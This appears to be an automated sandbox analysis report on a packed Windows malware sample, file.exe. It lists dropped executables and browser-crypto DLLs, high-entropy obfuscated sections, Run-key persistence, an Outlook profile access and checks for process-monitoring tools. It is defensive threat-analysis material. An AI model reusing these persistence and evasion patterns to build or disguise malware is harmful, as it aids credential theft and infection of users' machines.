Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\compatibility.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1789952 > 1048576

Source: file.exe

Static PE information: Raw size of ihmwfsmw is bigger than: 0x100000 < 0x19b200

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2683642528.000000006C70F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2683642528.000000006C70F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 43cdd8ad97.exe, 00000011.00000003.3193985263.0000000007F10000.00000004.00001000.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000002.3348888137.0000000005DF2000.00000040.00000800.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.ad0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ihmwfsmw:EW;vvsaypnn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ihmwfsmw:EW;vvsaypnn:EW;.taggant:EW;
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Unpacked PE file: 14.2.EBFHJEGDAF.exe.9e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wdmrrcke:EW;rnnjldgn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wdmrrcke:EW;rnnjldgn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 16.2.skotes.exe.f20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wdmrrcke:EW;rnnjldgn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wdmrrcke:EW;rnnjldgn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Unpacked PE file: 17.2.43cdd8ad97.exe.2f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kavxkxnu:EW;myhjcrzc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kavxkxnu:EW;myhjcrzc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Unpacked PE file: 18.2.998d30a932.exe.fd0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ihmwfsmw:EW;vvsaypnn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ihmwfsmw:EW;vvsaypnn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Unpacked PE file: 36.2.998d30a932.exe.fd0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ihmwfsmw:EW;vvsaypnn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ihmwfsmw:EW;vvsaypnn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Unpacked PE file: 37.2.8d8ec3a6f5.exe.b10000.0.unpack :EW;.rsrc:W;.idata :W;ltedtzog:EW;bxhrajpy:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Unpacked PE file: 42.2.8d8ec3a6f5.exe.b10000.0.unpack :EW;.rsrc:W;.idata :W;ltedtzog:EW;bxhrajpy:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 44.2.skotes.exe.f20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wdmrrcke:EW;rnnjldgn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wdmrrcke:EW;rnnjldgn:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C53C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C53C410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe0.15.dr	Static PE information: real checksum: 0x1c418d should be: 0x1bcab5
Source: random[3].exe.15.dr	Static PE information: real checksum: 0x43d577 should be: 0x4390c4
Source: random[2].exe0.15.dr	Static PE information: real checksum: 0x44b69f should be: 0x44c730
Source: random[2].exe1.15.dr	Static PE information: real checksum: 0x1ea223 should be: 0x1ef001
Source: EBFHJEGDAF.exe.0.dr	Static PE information: real checksum: 0x1cd8af should be: 0x1cfca4
Source: 43cdd8ad97.exe.15.dr	Static PE information: real checksum: 0x1cb0a4 should be: 0x1cab2d
Source: random[2].exe.15.dr	Static PE information: real checksum: 0x2b0715 should be: 0x2aebdd
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1cd8af should be: 0x1cfca4
Source: 82d9128a9d.exe.15.dr	Static PE information: real checksum: 0x1ea223 should be: 0x1ef001
Source: 998d30a932.exe.15.dr	Static PE information: real checksum: 0x1c418d should be: 0x1bcab5
Source: 76ee5543cc.exe.15.dr	Static PE information: real checksum: 0x43d577 should be: 0x4390c4
Source: 480f06d5d5.exe.15.dr	Static PE information: real checksum: 0x44b69f should be: 0x44c730
Source: random[1].exe.15.dr	Static PE information: real checksum: 0x1cb0a4 should be: 0x1cab2d
Source: skotes.exe.14.dr	Static PE information: real checksum: 0x1cd8af should be: 0x1cfca4
Source: 8d8ec3a6f5.exe.15.dr	Static PE information: real checksum: 0x2b0715 should be: 0x2aebdd
Source: file.exe	Static PE information: real checksum: 0x1c418d should be: 0x1bcab5

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: ihmwfsmw
Source: file.exe	Static PE information: section name: vvsaypnn
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: wdmrrcke
Source: random[1].exe.0.dr	Static PE information: section name: rnnjldgn
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: EBFHJEGDAF.exe.0.dr	Static PE information: section name:
Source: EBFHJEGDAF.exe.0.dr	Static PE information: section name: .idata
Source: EBFHJEGDAF.exe.0.dr	Static PE information: section name:
Source: EBFHJEGDAF.exe.0.dr	Static PE information: section name: wdmrrcke
Source: EBFHJEGDAF.exe.0.dr	Static PE information: section name: rnnjldgn
Source: EBFHJEGDAF.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.14.dr	Static PE information: section name:
Source: skotes.exe.14.dr	Static PE information: section name: .idata
Source: skotes.exe.14.dr	Static PE information: section name:
Source: skotes.exe.14.dr	Static PE information: section name: wdmrrcke
Source: skotes.exe.14.dr	Static PE information: section name: rnnjldgn
Source: skotes.exe.14.dr	Static PE information: section name: .taggant
Source: random[2].exe.15.dr	Static PE information: section name:
Source: random[2].exe.15.dr	Static PE information: section name: .idata
Source: random[2].exe.15.dr	Static PE information: section name: ltedtzog
Source: random[2].exe.15.dr	Static PE information: section name: bxhrajpy
Source: random[2].exe.15.dr	Static PE information: section name: .taggant
Source: 8d8ec3a6f5.exe.15.dr	Static PE information: section name:
Source: 8d8ec3a6f5.exe.15.dr	Static PE information: section name: .idata
Source: 8d8ec3a6f5.exe.15.dr	Static PE information: section name: ltedtzog
Source: 8d8ec3a6f5.exe.15.dr	Static PE information: section name: bxhrajpy
Source: 8d8ec3a6f5.exe.15.dr	Static PE information: section name: .taggant
Source: random[2].exe0.15.dr	Static PE information: section name:
Source: random[2].exe0.15.dr	Static PE information: section name: .idata
Source: random[2].exe0.15.dr	Static PE information: section name:
Source: random[2].exe0.15.dr	Static PE information: section name: utmcruzd
Source: random[2].exe0.15.dr	Static PE information: section name: bpfvcxoi
Source: random[2].exe0.15.dr	Static PE information: section name: .taggant
Source: 480f06d5d5.exe.15.dr	Static PE information: section name:
Source: 480f06d5d5.exe.15.dr	Static PE information: section name: .idata
Source: 480f06d5d5.exe.15.dr	Static PE information: section name:
Source: 480f06d5d5.exe.15.dr	Static PE information: section name: utmcruzd
Source: 480f06d5d5.exe.15.dr	Static PE information: section name: bpfvcxoi
Source: 480f06d5d5.exe.15.dr	Static PE information: section name: .taggant
Source: random[2].exe1.15.dr	Static PE information: section name:
Source: random[2].exe1.15.dr	Static PE information: section name: .idata
Source: random[2].exe1.15.dr	Static PE information: section name:
Source: random[2].exe1.15.dr	Static PE information: section name: egpglfrh
Source: random[2].exe1.15.dr	Static PE information: section name: zosqaizp
Source: random[2].exe1.15.dr	Static PE information: section name: .taggant
Source: 82d9128a9d.exe.15.dr	Static PE information: section name:
Source: 82d9128a9d.exe.15.dr	Static PE information: section name: .idata
Source: 82d9128a9d.exe.15.dr	Static PE information: section name:
Source: 82d9128a9d.exe.15.dr	Static PE information: section name: egpglfrh
Source: 82d9128a9d.exe.15.dr	Static PE information: section name: zosqaizp
Source: 82d9128a9d.exe.15.dr	Static PE information: section name: .taggant
Source: random[3].exe.15.dr	Static PE information: section name:
Source: random[3].exe.15.dr	Static PE information: section name: .idata
Source: random[3].exe.15.dr	Static PE information: section name:
Source: random[3].exe.15.dr	Static PE information: section name: mrmfzkic
Source: random[3].exe.15.dr	Static PE information: section name: jnzqauit
Source: random[3].exe.15.dr	Static PE information: section name: .taggant
Source: 76ee5543cc.exe.15.dr	Static PE information: section name:
Source: 76ee5543cc.exe.15.dr	Static PE information: section name: .idata
Source: 76ee5543cc.exe.15.dr	Static PE information: section name:
Source: 76ee5543cc.exe.15.dr	Static PE information: section name: mrmfzkic
Source: 76ee5543cc.exe.15.dr	Static PE information: section name: jnzqauit
Source: 76ee5543cc.exe.15.dr	Static PE information: section name: .taggant
Source: random[1].exe.15.dr	Static PE information: section name:
Source: random[1].exe.15.dr	Static PE information: section name: .idata
Source: random[1].exe.15.dr	Static PE information: section name:
Source: random[1].exe.15.dr	Static PE information: section name: kavxkxnu
Source: random[1].exe.15.dr	Static PE information: section name: myhjcrzc
Source: random[1].exe.15.dr	Static PE information: section name: .taggant
Source: 43cdd8ad97.exe.15.dr	Static PE information: section name:
Source: 43cdd8ad97.exe.15.dr	Static PE information: section name: .idata
Source: 43cdd8ad97.exe.15.dr	Static PE information: section name:
Source: 43cdd8ad97.exe.15.dr	Static PE information: section name: kavxkxnu
Source: 43cdd8ad97.exe.15.dr	Static PE information: section name: myhjcrzc
Source: 43cdd8ad97.exe.15.dr	Static PE information: section name: .taggant
Source: random[1].exe0.15.dr	Static PE information: section name:
Source: random[1].exe0.15.dr	Static PE information: section name: .idata
Source: random[1].exe0.15.dr	Static PE information: section name:
Source: random[1].exe0.15.dr	Static PE information: section name: ihmwfsmw
Source: random[1].exe0.15.dr	Static PE information: section name: vvsaypnn
Source: random[1].exe0.15.dr	Static PE information: section name: .taggant
Source: 998d30a932.exe.15.dr	Static PE information: section name:
Source: 998d30a932.exe.15.dr	Static PE information: section name: .idata
Source: 998d30a932.exe.15.dr	Static PE information: section name:
Source: 998d30a932.exe.15.dr	Static PE information: section name: ihmwfsmw
Source: 998d30a932.exe.15.dr	Static PE information: section name: vvsaypnn
Source: 998d30a932.exe.15.dr	Static PE information: section name: .taggant
Source: service123.exe.41.dr	Static PE information: section name: .eh_fram
Source: gmpopenh264.dll.tmp.55.dr	Static PE information: section name: .rodata

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50B536 push ecx; ret	0_2_6C50B549
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05DFE3B1 push ebx; mov dword ptr [esp], 5A16C5CAh	17_2_05DFE8E8
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E00DEF push 7780968Eh; mov dword ptr [esp], edi	17_2_05E0336A
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E0D5C5 push 4055D1CFh; mov dword ptr [esp], ebp	17_2_05E0DA5D
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E0D5C5 push esi; mov dword ptr [esp], ebx	17_2_05E0DA6D
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E0D5C5 push ecx; mov dword ptr [esp], eax	17_2_05E0DA71
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E0D5C5 push 5246F130h; mov dword ptr [esp], eax	17_2_05E0DB31
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E0D5C5 push eax; mov dword ptr [esp], 3F7F5C5Dh	17_2_05E0DBE9
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E0D5C5 push 0479B571h; mov dword ptr [esp], ecx	17_2_05E0DC58
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E0D5C5 push 28CA992Ah; mov dword ptr [esp], edx	17_2_05E0DC9E
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E005D8 push 178A9DB8h; mov dword ptr [esp], esi	17_2_05E01536
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E005D8 push edi; mov dword ptr [esp], eax	17_2_05E0153A
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E005D8 push 24855A1Ch; mov dword ptr [esp], ecx	17_2_05E02D54
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E005D8 push 73AE5539h; mov dword ptr [esp], esp	17_2_05E03379
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05DFD587 push ebp; mov dword ptr [esp], 5FDFC129h	17_2_05DFD593
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E04DB9 push 2C13850Fh; mov dword ptr [esp], ecx	17_2_05E0545F
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E01D79 push eax; mov dword ptr [esp], esp	17_2_05E01DB0
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E02D7E push edx; mov dword ptr [esp], edi	17_2_05E02D7F
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05DFE578 push ecx; mov dword ptr [esp], edx	17_2_05DFF29B
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05DFE578 push ebx; mov dword ptr [esp], edi	17_2_05DFF34B
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E00D38 push edx; mov dword ptr [esp], esi	17_2_05E00D41
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E00D38 push ebx; mov dword ptr [esp], 4C74B130h	17_2_05E03845
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E02539 push 77EEE067h; mov dword ptr [esp], esi	17_2_05E03D2A
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E00500 push eax; mov dword ptr [esp], ecx	17_2_05E0058F
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E00500 push edx; mov dword ptr [esp], eax	17_2_05E00593
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E00500 push 3F9A7230h; mov dword ptr [esp], esi	17_2_05E0192A
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E00500 push 66F63DCFh; mov dword ptr [esp], edi	17_2_05E01943
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E00500 push ebx; mov dword ptr [esp], eax	17_2_05E01B16
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E00500 push esi; mov dword ptr [esp], 7BDBA62Ah	17_2_05E0209D
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E02D0D push 55235BB3h; mov dword ptr [esp], edx	17_2_05E044F5
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05DFE531 push 0E43CDCBh; mov dword ptr [esp], edi	17_2_05DFEF4A

Source: file.exe	Static PE information: section name: ihmwfsmw entropy: 7.955092140457264
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.982157141145561
Source: random[1].exe.0.dr	Static PE information: section name: wdmrrcke entropy: 7.954042552670709
Source: EBFHJEGDAF.exe.0.dr	Static PE information: section name: entropy: 7.982157141145561
Source: EBFHJEGDAF.exe.0.dr	Static PE information: section name: wdmrrcke entropy: 7.954042552670709
Source: skotes.exe.14.dr	Static PE information: section name: entropy: 7.982157141145561
Source: skotes.exe.14.dr	Static PE information: section name: wdmrrcke entropy: 7.954042552670709
Source: random[2].exe.15.dr	Static PE information: section name: entropy: 7.78628534462141
Source: 8d8ec3a6f5.exe.15.dr	Static PE information: section name: entropy: 7.78628534462141
Source: random[2].exe0.15.dr	Static PE information: section name: utmcruzd entropy: 7.955754964210386
Source: 480f06d5d5.exe.15.dr	Static PE information: section name: utmcruzd entropy: 7.955754964210386
Source: random[2].exe1.15.dr	Static PE information: section name: entropy: 7.939044986237492
Source: random[2].exe1.15.dr	Static PE information: section name: egpglfrh entropy: 7.949780643963927
Source: 82d9128a9d.exe.15.dr	Static PE information: section name: entropy: 7.939044986237492
Source: 82d9128a9d.exe.15.dr	Static PE information: section name: egpglfrh entropy: 7.949780643963927
Source: random[3].exe.15.dr	Static PE information: section name: mrmfzkic entropy: 7.955179792402712
Source: 76ee5543cc.exe.15.dr	Static PE information: section name: mrmfzkic entropy: 7.955179792402712
Source: random[1].exe.15.dr	Static PE information: section name: entropy: 7.978612481813435
Source: random[1].exe.15.dr	Static PE information: section name: kavxkxnu entropy: 7.953931606377355
Source: 43cdd8ad97.exe.15.dr	Static PE information: section name: entropy: 7.978612481813435
Source: 43cdd8ad97.exe.15.dr	Static PE information: section name: kavxkxnu entropy: 7.953931606377355
Source: random[1].exe0.15.dr	Static PE information: section name: ihmwfsmw entropy: 7.955092140457264
Source: 998d30a932.exe.15.dr	Static PE information: section name: ihmwfsmw entropy: 7.955092140457264

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\Documents\EBFHJEGDAF.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1010359001\76ee5543cc.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[3].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\Documents\EBFHJEGDAF.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Jump to dropped file
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1010358001\82d9128a9d.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Program Files\Mozilla Firefox\firefox.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Program Files\Mozilla Firefox\firefox.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	File created: C:\Users\user\AppData\Local\Temp\service123.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 43cdd8ad97.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 998d30a932.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fd549fc84a.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8d8ec3a6f5.exe	Jump to behavior

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
